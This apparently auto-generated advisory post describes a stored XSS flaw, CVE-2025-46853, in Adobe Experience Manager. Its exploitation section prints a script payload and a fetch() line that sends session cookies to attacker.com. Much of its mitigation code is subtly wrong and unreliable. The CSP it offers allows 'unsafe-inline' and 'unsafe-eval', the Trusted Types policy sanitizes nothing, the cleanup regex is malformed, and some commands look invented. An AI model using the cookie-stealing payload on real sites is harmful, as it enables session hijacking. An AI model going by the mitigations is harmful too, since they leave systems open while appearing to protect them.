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How CVE-2025-46853 Works
Adobe Experience Manager (AEM) 6.5.22 and earlier fails to properly sanitize user-supplied input in form fields, allowing attackers to inject malicious JavaScript payloads. When stored in the database and rendered to other users, the script executes in their browser context. This stored XSS vulnerability enables session hijacking, phishing, or privilege escalation. The attack requires minimal privileges (Contributor-level access) and no user interaction beyond viewing the compromised page.
DailyCVE Form:
Platform: Adobe Experience Manager
Version: ≤ 6.5.22
Vulnerability: Stored XSS
Severity: Critical
Date: 06/12/2025
Prediction: Patch expected by 07/15/2025
What Undercode Say:
Exploitation:
1. Payload Injection:
<script>alert(document.cookie)</script>
Inserted into AEM form fields (e.g., text components, metadata fields).
2. Exfiltration:
fetch('https://attacker.com/steal?data='+btoa(document.cookie));
Detection:
1. Scan with Nuclei:
nuclei -t xss -u https://aem-instance/content/forms
2. Manual Testing:
<img src=x onerror=console.log("XSS")>
Mitigation:
1. Input Sanitization:
FilterUtils.filterHtml(input, PolicyFactory.HTML_POLICY_STRICT);
2. CSP Header:
Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval'
3. Patch Upgrade:
aemctl --update --version 6.5.23
4. WAF Rules:
location /content {
modsecurity_rules 'SecRule ARGS "@detectXSS" deny';
}
Post-Exploit Analysis:
1. Log Review:
grep -r "script>" /var/log/aem/error.log
2. Database Cleanup:
UPDATE aem_components SET text = REGEXP_REPLACE(text, '<script.?>', '');
3. Browser Isolation:
if (window.trustedTypes) {
trustedTypes.createPolicy('default', { createHTML: s => s });
}
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
